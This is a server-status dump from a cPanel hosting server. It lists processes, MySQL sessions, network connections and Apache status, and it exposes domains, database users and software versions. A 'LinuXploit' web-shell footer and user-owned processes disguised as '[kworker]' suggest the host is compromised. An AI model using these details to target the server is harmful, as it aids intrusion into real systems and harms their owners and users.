sshd      82259  0.0  0.1 115644  2628 ?        S    02:00   0:00      \_ sshd: root [net]
systuser    940  0.0  0.0  10132    36 ?        Ssl  Nov12   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
systuser    941  0.0  0.0 112268    68 ?        Ssl  Nov12   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
root        943  0.0  0.0 445028     0 ?        Ss   Nov12   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
root        950  0.0  0.0 386112   380 ?        Ss   Nov12   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
named       961  0.0  1.3 636988 31948 ?        Ssl  Nov12   0:12 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root        964  0.0  0.1 281936  4164 ?        Ssl  Nov12   0:05 /usr/sbin/rsyslogd -n
root        981  0.0  0.0 436392   372 ?        Ss   Nov12   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
root        984  0.0  0.0 385496   468 ?        Ss   Nov12   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
root        985  0.0  0.2 261288  6208 ?        Ss   Nov12   0:03 cpsrvd (SSL) - waiting for connections                   
root      82213  0.0  0.0      0     0 ?        Z    02:00   0:00  \_ [cpaneld - servi] <defunct>
root        989  0.0  0.0 392856   312 ?        Ss   Nov12   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
root        992  0.1  8.8 1901916 215108 ?      Ssl  Nov12   0:32 /usr/local/cpanel/3rdparty/bin/clamd -F
root       1000  0.0  0.0 397344  1880 ?        Ss   Nov12   0:03 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
nigeria   82471  0.0  0.1 397064  4472 ?        S    02:00   0:00  \_ php-fpm: pool nigeriadecide_org
cpanelc+   1006  0.0  0.1  10656  3696 ?        Ss   Nov12   0:17 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
systuser   1121  0.0  0.1 157704  2932 ?        S    Nov12   0:00 SonarPush 0.6.12 [sleeping]
root       1172  0.0  0.2 248152  5980 ?        Ss   Nov12   0:05 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       7883  0.0  3.8 306476 93564 ?        S    Nov12   0:03  \_ spamd child
root       7886  0.0  3.8 261428 93272 ?        S    Nov12   0:00  \_ spamd child
wp-tool+   1173  0.0  0.1 387556  3216 ?        Ss   Nov12   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
wp-tool+   1174  0.0  0.7 410616 17824 ?        Ss   Nov12   0:17 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
root       1232  0.0  0.4 209372  9956 ?        Ss   Nov12   0:02 tailwatchd
root       1234  0.0  0.1 167452  4168 ?        Ss   Nov12   0:00 dnsadmin - dormant mode
root       1237  0.0  0.2 183900  6696 ?        Ss   Nov12   0:01 cpdavd - accepting connections on: 2091, 2077, 2078 (dormant)
root       1642  0.0  0.0 299272   504 ?        Ss   Nov12   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1702  0.0  0.0 130416  1364 ?        SN   Nov12   0:00 cpanellogd - sleeping for logs
mysql      1781  1.4  8.8 1457796 214116 ?      Sl   Nov12   5:09 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root       2059  0.0  0.2 267036  4968 ?        Ss   Nov12   0:02 /usr/sbin/httpd -k start
root       2063  0.0  0.0  12800   380 ?        S    Nov12   0:02  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       2064  0.0  0.0  12732   288 ?        S    Nov12   0:02  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       2065  0.0  0.0  12828   392 ?        S    Nov12   0:02  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       2089  0.0  0.0  53268     4 ?        S    Nov12   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody    71416  0.1  0.7 277784 18288 ?        S    01:48   0:01  \_ /usr/sbin/httpd -k start
nobody    77245  0.1  0.7 277784 17900 ?        S    01:54   0:00  \_ /usr/sbin/httpd -k start
nobody    78865  0.1  0.7 277784 18044 ?        S    01:56   0:00  \_ /usr/sbin/httpd -k start
nobody    79168  0.1  0.7 277784 17656 ?        S    01:56   0:00  \_ /usr/sbin/httpd -k start
nobody    79196  0.1  0.7 277784 17264 ?        S    01:56   0:00  \_ /usr/sbin/httpd -k start
nobody    79302  0.1  0.7 277784 17612 ?        S    01:57   0:00  \_ /usr/sbin/httpd -k start
nobody    79633  0.1  0.7 277784 17624 ?        S    01:57   0:00  \_ /usr/sbin/httpd -k start
nobody    80394  0.1  0.7 277784 17044 ?        S    01:58   0:00  \_ /usr/sbin/httpd -k start
nobody    81118  0.1  0.7 277824 17452 ?        S    01:58   0:00  \_ /usr/sbin/httpd -k start
nobody    81130  0.1  0.7 277920 17460 ?        S    01:58   0:00  \_ /usr/sbin/httpd -k start
nobody    81131  0.2  0.7 277784 17080 ?        S    01:58   0:00  \_ /usr/sbin/httpd -k start
nobody    81207  0.1  0.7 277784 17480 ?        R    01:58   0:00  \_ /usr/sbin/httpd -k start
nobody    81239  0.1  0.7 277784 17068 ?        S    01:59   0:00  \_ /usr/sbin/httpd -k start
nobody    81445  0.1  0.7 277784 17076 ?        S    01:59   0:00  \_ /usr/sbin/httpd -k start
nobody    81454  0.0  0.7 277920 17256 ?        S    01:59   0:00  \_ /usr/sbin/httpd -k start
nobody    81455  0.2  0.7 277784 16984 ?        S    01:59   0:00  \_ /usr/sbin/httpd -k start
nobody    81468  0.1  0.7 277920 17168 ?        S    01:59   0:00  \_ /usr/sbin/httpd -k start
nobody    81469  0.1  0.7 277788 17148 ?        S    01:59   0:00  \_ /usr/sbin/httpd -k start
nobody    81470  0.2  0.6 277788 15876 ?        S    01:59   0:00  \_ /usr/sbin/httpd -k start
nobody    81471  0.1  0.7 277788 17232 ?        S    01:59   0:00  \_ /usr/sbin/httpd -k start
nobody    81968  0.0  0.7 277824 17292 ?        S    01:59   0:00  \_ /usr/sbin/httpd -k start
oysipao+  47111  0.0  0.0   3148     8 ?        Ss   Nov12   0:00 [kworker]
oysipao+  47116  0.0  0.0   3152    36 ?        S    Nov12   0:00  \_ [kworker]
root      76167  0.0  0.3 182112  8740 ?        Ss   00:00   0:06 lfd - sleeping
root      23911  0.0  0.4 1276100 10708 ?       Ssl  01:00   0:00 /usr/bin/cspdaemon
root      23946  0.0  0.4 1277056 11532 ?       Ssl  01:00   0:00 /usr/bin/checkstatus
## mysql stats
Uptime: 21423  Threads: 6  Questions: 1894216  Slow queries: 0  Opens: 6891  Flush tables: 1  Open tables: 2000  Queries per second avg: 88.419
*************************** 1. row ***************************
     Id: 26868
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 2. row ***************************
     Id: 26873
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: updating
   Info: UPDATE `currency_rate` SET
`response` = '{\n  \"error\": true,\n  \"status\": 401,\n  \"message\": 
*************************** 3. row ***************************
     Id: 26875
   User: location_phpl624
   Host: localhost
     db: location_phpl624
Command: Query
   Time: 0
  State: statistics
   Info: select translation from pl61_i18n where original = "All done" and lan = "en"
*************************** 4. row ***************************
     Id: 26880
   User: cloudsms_root
   Host: localhost
     db: cloudsms_sms
Command: Query
   Time: 0
  State: Sending data
   Info: SELECT * FROM `massmailer` WHERE `other`='' LIMIT 30
*************************** 5. row ***************************
     Id: 26881
   User: cloudsms_root
   Host: localhost
     db: cloudsms_sms
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 6. row ***************************
     Id: 26883
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 114.119.128.35 TIME_WAIT
      1 114.119.140.4 TIME_WAIT
      1 172.213.21.118 TIME_WAIT
      1 ::1 TIME_WAIT
      1 54.39.203.99 TIME_WAIT
      1 66.249.70.163 TIME_WAIT
      1 66.249.70.192 TIME_WAIT
      1 66.249.70.193 TIME_WAIT
      1 66.249.70.197 TIME_WAIT
      1 66.249.70.199 TIME_WAIT
      1 66.249.70.36 TIME_WAIT
      1 66.249.70.71 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Oct 28 2025 23:52:55
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Thursday, 13-Nov-2025 02:00:02 WAT
   Restart Time: Wednesday, 12-Nov-2025 20:03:03 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 5 hours 56 minutes 58 seconds
   Server load: 1.12 0.65 0.94
   Total accesses: 117486 - Total Traffic: 3.1 GB - Total Duration: 59812041
   CPU Usage: u3.27 s3.55 cu1498.52 cs1206.85 - 12.7% CPU load
   5.49 requests/sec - 151.3 kB/second - 27.6 kB/request - 509.099 ms/request
   16 requests currently being processed, 0 workers gracefully restarting, 5 idle workers

_KKKR_.K_.K.W_W.KKKR..KK._..R....C..............................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID     Acc     M CPU   SS  Req   Dur   Conn  Child  Slot     Client     Protocol           VHost                                        Request
   0-0  81445 0/15/5379  _ 0.39 0    316 2711109 0.0   0.43  136.13 66.249.70.193 http/1.1 schoolplus.cloudware.ng:80 GET /?p=3210832550 HTTP/1.1
   1-0  81454 1/8/5437   K 0.11 2    270 2563550 30.2  0.15  135.19 66.249.70.167 http/1.1 schoolplus.cloudware.ng:80 GET /?p=3674259254 HTTP/1.1
   2-0  79633 7/51/5303  K 1.29 3    387 2780673 213.3 1.38  153.52 66.249.70.197 http/1.1 schoolplus.cloudware.ng:80 GET /?p=1454604039 HTTP/1.1
   3-0  81118 1/13/5400  K 0.31 0    349 2862574 30.4  0.35  155.75 192.178.4.104 http/1.1 schoolplus.cloudware.ng:80 GET /?p=2130352359 HTTP/1.1
   4-0  78865 0/44/5153  R 1.12 45   277 2565211 0.0   1.15  134.43 153.240.147.5 http/1.1
   5-0  81968 0/2/5284   _ 0.02 0    26  2728165 0.0   0.04  163.47 23.21.175.228 http/1.1 nigeriadecide.org:443      GET /polling_unit_category.php/blog/images/assets/css/polling_u
   6-0  -     0/0/5112   . 0.00 37   0   2557493 0.0   0.00  134.23 ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   7-0  81455 17/21/5819 K 0.56 3    282 2796438 513.5 0.60  155.80 66.249.70.200 http/1.1 schoolplus.cloudware.ng:80 GET /?p=2597284334 HTTP/1.1
   8-0  81468 0/13/4540  _ 0.32 0    0   2323489 0.0   0.36  117.34 127.0.0.1     http/1.1 chs1.nescrow.com.ng:80     GET /whm-server-status HTTP/1.0
   9-0  -     0/0/4763   . 0.00 42   0   2435477 0.0   0.00  126.33 ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   10-0 80394 5/22/4857  K 0.61 4    279 2406989 153.4 0.64  133.59 66.249.70.196 http/1.1 schoolplus.cloudware.ng:80 GET /?p=2438458491 HTTP/1.1
   11-0 -     0/0/5116   . 0.00 39   0   2628562 0.0   0.00  165.06 ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   12-0 81130 0/19/4764  W 0.46 0    0   2344947 0.0   0.48  117.28 66.249.64.67  http/1.1 schoolplus.cloudware.ng:80 GET /?p=4163072962 HTTP/1.1
   13-0 81131 0/24/4056  _ 0.67 0    316 1890432 0.0   0.71  94.82  66.249.70.199 http/1.1 schoolplus.cloudware.ng:80 GET /?p=919654270 HTTP/1.1
   14-0 79168 0/42/4085  W 1.02 0    0   2127185 0.0   1.00  123.61 ::1           http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   15-0 -     0/0/3514   . 0.00 43   0   1810903 0.0   0.00  92.39  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   16-0 71416 2/214/5008 K 5.91 1    300 2449623 62.5  5.93  131.80 66.249.64.12  http/1.1 schoolplus.cloudware.ng:80 GET /?p=1507442229 HTTP/1.1
   17-0 81469 2/15/5326  K 0.39 3    263 2763656 61.6  0.39  153.96 66.249.70.192 http/1.1 schoolplus.cloudware.ng:80 GET /?p=513798297 HTTP/1.1
   18-0 81470 5/20/2755  K 0.56 4    300 1522396 156.2 0.57  74.25  66.249.70.198 http/1.1 schoolplus.cloudware.ng:80 GET /?p=726950207 HTTP/1.1
   19-0 81207 0/14/3365  R 0.33 1    1   1822464 0.0   0.35  89.94  127.0.0.1     http/1.1 chs1.nescrow.com.ng:80     GET / HTTP/1.1
   20-0 -     0/0/2216   . 0.00 13   0   1125977 0.0   0.00  54.19  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   21-0 -     0/0/2259   . 0.00 38   0   1204537 0.0   0.00  61.88  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   22-0 81239 1/19/2192  K 0.49 1    274 1188224 30.9  0.51  66.49  66.249.70.132 http/1.1 schoolplus.cloudware.ng:80 GET /?p=3952401399 HTTP/1.1
   23-0 81471 1/10/1668  K 0.21 0    345 889173  30.9  0.22  38.20  66.249.64.13  http/1.1 schoolplus.cloudware.ng:80 GET /?p=4221064955 HTTP/1.1
   24-0 -     0/0/2466   . 0.00 102  0   1068175 0.0   0.00  56.03  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   25-0 77245 0/97/1578  _ 2.09 0    0   843377  0.0   2.20  42.47  ::1           http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   26-0 -     0/0/858    . 0.00 36   0   465489  0.0   0.00  22.23  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   27-0 -     0/0/919    . 0.00 172  0   495673  0.0   0.00  24.38  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   28-0 79196 0/47/1868  R 1.28 45   269 869555  0.0   1.33  47.02  153.240.147.5 http/1.1
   29-0 -     0/0/595    . 0.00 156  0   332122  0.0   0.00  15.50  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   30-0 -     0/0/1046   . 0.00 50   0   559225  0.0   0.00  24.79  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   31-0 -     0/0/690    . 0.00 111  0   395622  0.0   0.00  18.47  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   32-0 -     0/0/505    . 0.00 40   0   316661  0.0   0.00  12.08  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   33-0 79302 1/49/574   C 1.22 0    6   328759  9.9   1.23  14.51  85.208.96.209 http/1.1 nigeriadecide.org:443      GET /polling_unit_category.php?lga=Jos%20north&state=Plateau&wa
   34-0 -     0/0/451    . 0.00 644  0   269842  0.0   0.00  11.40  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   35-0 -     0/0/307    . 0.00 410  0   110024  0.0   0.00  6.04   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   36-0 -     0/0/101    . 0.00 568  0   53229   0.0   0.00  2.56   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   37-0 -     0/0/223    . 0.00 643  0   130665  0.0   0.00  5.61   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   38-0 -     0/0/106    . 0.00 1012 0   62326   0.0   0.00  2.38   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   39-0 -     0/0/71     . 0.00 1181 0   33332   0.0   0.00  1.45   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   40-0 -     0/0/1120   . 0.00 2040 0   651566  0.0   0.00  32.12  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   41-0 -     0/0/11     . 0.00 2053 0   1258    0.0   0.00  0.07   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   42-0 -     0/0/13     . 0.00 2046 0   4689    0.0   0.00  0.12   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   43-0 -     0/0/56     . 0.00 2014 0   30775   0.0   0.00  1.38   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   44-0 -     0/0/65     . 0.00 1979 0   29051   0.0   0.00  1.64   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   45-0 -     0/0/4      . 0.00 2042 0   2240    0.0   0.00  0.04   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   46-0 -     0/0/6      . 0.00 2058 0   2519    0.0   0.00  0.09   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   47-0 -     0/0/272    . 0.00 1251 0   144675  0.0   0.00  6.70   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   48-0 -     0/0/2      . 0.00 2071 0   3773    0.0   0.00  0.00   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   49-0 -     0/0/4      . 0.00 2065 0   2208    0.0   0.00  0.00   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   50-0 -     0/0/55     . 0.00 1908 0   30413   0.0   0.00  3.67   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   51-0 -     0/0/4      . 0.00 2066 0   3961    0.0   0.00  0.03   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   52-0 -     0/0/7      . 0.00 2061 0   2145    0.0   0.00  0.03   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   53-0 -     0/0/31     . 0.00 1976 0   17077   0.0   0.00  0.64   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   54-0 -     0/0/54     . 0.00 1895 0   24170   0.0   0.00  1.01   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   55-0 -     0/0/7      . 0.00 2059 0   1791    0.0   0.00  0.05   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   56-0 -     0/0/9      . 0.00 2048 0   2519    0.0   0.00  0.10   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   57-0 -     0/0/37     . 0.00 1980 0   23864   0.0   0.00  0.92   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 315
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 25 seconds, (range: 2...122)
   index usage: 5%, cache usage: 7%
   total entries stored since starting: 31341
   total entries replaced since starting: 0
   total entries expired since starting: 31009
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 10 hit, 173 miss
   total removes since starting: 17 hit, 9 miss

Youez - 2016 - github.com/yon3zu
LinuXploit